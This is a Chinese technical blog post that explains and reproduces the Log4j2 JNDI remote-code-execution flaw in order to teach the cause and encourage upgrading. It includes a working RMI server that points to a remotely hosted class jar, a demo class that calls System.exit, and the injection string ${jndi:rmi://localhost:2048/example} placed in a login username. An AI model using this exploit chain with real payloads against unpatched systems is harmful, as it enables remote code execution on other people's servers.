写点什么

【紧急】Log4j 又发新版 2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂

作者:Tom弹架构
  • 2021 年 12 月 20 日
  • 本文字数:4531 字

    阅读完需:约 15 分钟

1 事件背景

经过一周时间的 Log4j2 RCE 事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为 2.16.0 是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0 横空出世。



相信各位小伙伴都在加班加点熬夜紧急修复和改正 Apache Log4j 爆出的安全漏洞,各企业都瑟瑟发抖,连网警都通知各位站长,包括我也收到了湖南长沙高新区网警的通知。



我也紧急发布了两篇教程,给各位小伙伴支招,我之前发布的教程依然有效。


【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程


【紧急】继续折腾,Log4j再发2.16.0,强烈建议升级






虽然,各位小伙伴按照教程一步一步操作能快速解决问题,但是很多小伙伴依旧有很多疑惑,不知其所以然。在这里我给大家详细分析并复现一下 Log4j2 漏洞产生的原因,纯粹是以学习为目的。


Log4j2 漏洞总体来说是通过 JNDI 注入恶意代码来完成攻击,具体的操作方式有 RMI 和 LDAP 等。

2 JNDI 介绍

2.1 JNDI 定义

JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 中为命名和目录服务提供接口的 API,JNDI 主要由两部分组成:Naming(命名)和 Directory(目录),其中 Naming 是指将对象通过唯一标识符绑定到一个上下文 Context,同时可通过唯一标识符查找获得对象,而 Directory 主要指将某一对象的属性绑定到 Directory 的上下文 DirContext 中,同时可通过名称获取对象的属性,同时也可以操作属性。

2.2 JNDI 架构

Java 应用程序通过 JNDI API 访问目录服务,而 JNDI API 会调用 Naming Manager 实例化 JNDI SPI,然后通过 JNDI SPI 去操作命名或目录服务其如 LDAP, DNS,RMI 等,JNDI 内部已实现了对 LDAP,DNS, RMI 等目录服务器的操作 API。其架构图如下所示:


2.3 JNDI 核心 API


Java 通过 JNDI API 去调用服务。例如,我们大家熟悉的 odbc 数据连接,就是通过 JNDI 的方式来调用数据源的。以下代码大家应该很熟悉:


<?xml version="1.0" encoding="UTF-8"?><Context>    <Resource name="jndi/person"            auth="Container"            type="javax.sql.DataSource"            username="root"            password="root"            driverClassName="com.mysql.jdbc.Driver"            url="jdbc:mysql://localhost:3306/test"            maxTotal="8"            maxIdle="4"/></Context>
复制代码


在 Context.xml 文件中我们可以定义数据库驱动,url、账号密码等关键信息,其中 name 这个字段的内容为自定义。下面使用 InitialContext 对象获取数据源


Connection conn=null; PreparedStatement ps = null;ResultSet rs = null;try {   Context ctx=new InitialContext();   Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源   DataSource ds=(Datasource)datasourceRef;   conn = ds.getConnection();     //省略部分代码  ...    c.close(); } catch(Exception e) {   e.printStackTrace(); } finally {   if(conn!=null) {     try {       conn.close();     } catch(SQLException e) { }   } }
复制代码


是不是很熟悉呢?JNDI 的其他应用在此我就不多做介绍了,如果还不了解 JNDI/RMI/LDAP 等相关概念的小伙伴请自行百度一下。

3 攻击原理

下面我以 RMI 的方式为例,详细复现步骤和分析原因。解释基本攻击原理之前,我们先来看一张时序图:



1、攻击者首先发布一个 RMI 服务,此服务将绑定一个引用类型的 RMI 对象。在引用对象中指定一个远程的含有恶意代码的类。例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。


2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。


3、攻击者利用 Log4j2 的漏洞注入 RMI 调用,例如:logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。


4、调用 RMI 后将获取到引用类型的 RMI 远程对象,该对象将就加载恶意代码并执行。

4 漏洞复现

4.1 创建恶意代码

创建恶意代码相关类,以下代码仅供学习:



package com.tom.example.log4j;
public class HackedClassFactory {
public HackedClassFactory(){ System.out.println("程序即将终止"); System.exit(1); }}
复制代码


创建 HackedClassFactory 类的定义,在构造函数里写入终止程序运行的恶意代码。

4.2 发布恶意代码

将 HackedClassFactory 类打成 jar 包,发布到 HTTP 服务器上,能通过简单的 Get 请求正常下载即可。


4.3 创建 RMI 服务

编写如下代码,并运行程序:



package com.tom.example.rmi;
import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.util.Hashtable;import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class HackedRmiService { public static void main(String[] args) { try { int port = 2048; //设置RMI服务远程监听端口 //创建并发布RMI服务 LocateRegistry.createRegistry(port); Hashtable<String, Object> env = new Hashtable<String,Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port); Context context = new InitialContext(env);

String serviceName = "example"; String serviceClassName = "com.tom.example.log4j.HackedClassFactory"; //指定恶意代码的下载地址 Reference refer = new Reference( serviceName, serviceClassName, "http://127.0.0.1/example/classes.jar"); ReferenceWrapper wrapper = new ReferenceWrapper(refer);
//为RMI服务绑定一个引用类型的对象,此对象可以被远程访问 context.bind(serviceName,wrapper);
}catch (Exception e){ e.printStackTrace(); } }}
复制代码


RMI 服务启动之后,即发布了监听端口为 2048 的 RMI 服务。


运行 netstat -ano | find "2048" 命令检验,得到如下结果,说明 RMI 服务已经正常启动,如下图:


4.4 注入恶意代码

下面我们利用 Log4j 的漏洞注入恶意代码,有已知用户登录的业务场景,小伙伴们先不管它是如何实现的,其代码如下:



@RequestMapping(value="/login")public ResponseEntity login(String loginName,String loginPass){ ResultMsg<?> data = memberService.login(loginName,loginPass);
//演示代码,省略业务逻辑,默认为登录成功 log.info("登录成功",loginName);
String json = JSON.toJSONString(data);
return ResponseEntity .ok() .contentType(MediaType.APPLICATION_JSON) .body(json);}
复制代码


利用 Postman 测试,首先正常访问能得到期望的结果,如下图所示:



用户登录成功后会正常返回 token,这看上去是一个常规操作。细心的小伙发现,在登录成功之后,后台会打印一条日志且输出登录的用户名。



接下来,我做一个非常规操作。将用户名输入为 ${jndi:rmi://localhost:2048/example}



我们发现程序已经无法响应,再看后台日志,已经终止运行。



这里仅仅只是演示效果,我编写的恶意代码只是终止程序,如果攻击者注入的是其他恶意代码,那后果将不堪设想。

5 源码分析

通过以上案例还原了攻击者利用 Log4j 的漏洞对目标程序进行攻击的完整过程,接下来分析一下 Log4j 的源码从而了解根本原因。其罪魁祸首是 Log4j2 的 MessagePatternConverter 组件中的 format()方法,Log4j 在记录日志的时候会间接的调用该方法,具体源码如下:



从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串,将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行 JNDI 方式的 RMI 调用,从而触发原生的 RMI 服务调用。具体调用位置在 StrSubstitutor 的 substitute()方法:



private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
//此处省略部分代码 ...
this.checkCyclicSubstitution(varName, (List)priorVariables); ((List)priorVariables).add(varName); String varValue = this.resolveVariable(event, varName, buf, startPos, pos); if (varValue == null) { varValue = varDefaultValue; } //此处省略部分代码 ... }
复制代码


上述代码中的 resolveVariable()最终会调用 InitialContext 的 lookup()方法:



protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) { StrLookup resolver = this.getVariableResolver(); return resolver == null ? null : resolver.lookup(event, variableName);}
复制代码


通过断点调试,我们确实发现调用了 RMI 服务,下图所示:



最终恶意代码通过 RMI 加载完成以后,会调用 javax.naming.spi.NamingManager 的 getObjectFactoryFromReference()方法加载恶意代码,也就是我们之前写的 com.tom.example.log4j.HackedClassFactory 类。首先会在尝试本地找,如果本地找不到会通过远程地址加载,也就是我们发布的下载服务,即http://127.0.0.1/example/classes.jar



加载远程代码之后,通过反射调用构造器创建攻击类的实例,而恶意代码编写在构造器中,所以在被攻击者的程序中间接执行了恶意代码。



看到这里,小伙伴们是不是有种和 SQL 注入如出一辙的感觉。

5 风险条件

该漏洞需要满足以下条件才有可能被攻击:


1、首先使用的是 Logj4j2 的漏洞版本,即 <= 2.14.1 的版本。


2、攻击者有机会注入恶意代码,例如系统中记录的日志信息没有任何特殊过滤。


3、攻击者需要发布 RMI 远程服务和恶意代码下载服务。


4、被攻击者的网络可以访问到 RMI 服务和恶意代码下载服务,即被攻击者的服务器可以随意访问公网,或者在内网发布过类似的危险服务。


5、被攻击者在 JVM 中开启了 RMI/LDAP 等协议的 truseURLCodebase 属性为 ture。


以上就是我对 Log4j2 RCE 漏洞的完整复现及根本原因分析,当然最高效的方式还是关闭 Lookup 相关功能。虽然,官方也在紧急修复,但涉及到软件升级存在一定风险,还有可能需要大量的重复测试工作。


我在之前紧急发布的教程依然有效,大家可以继续参照用最高效可靠的方式解决问题。


【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程


【紧急】继续折腾,Log4j再发2.16.0,强烈建议升级


关注微信公众号『 Tom 弹架构 』回复“Spring”可获取完整源码。


本文为“Tom 弹架构”原创,转载请注明出处。技术在于分享,我分享我快乐!如果您有任何建议也可留言评论或私信,您的支持是我坚持创作的动力。关注微信公众号『 Tom 弹架构 』可获取更多技术干货!


原创不易,坚持很酷,都看到这里了,小伙伴记得点赞、收藏、在看,一键三连加关注!如果你觉得内容太干,可以分享转发给朋友滋润滋润!

发布于: 1 小时前阅读数: 6
用户头像

Tom弹架构

关注

不只做一个技术者,更要做一个思考者 2021.10.22 加入

畅销书作者,代表作品:《Spring 5核心原理》、《Netty 4核心原理》、《设计模式就该这样学》

评论

发布
暂无评论
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂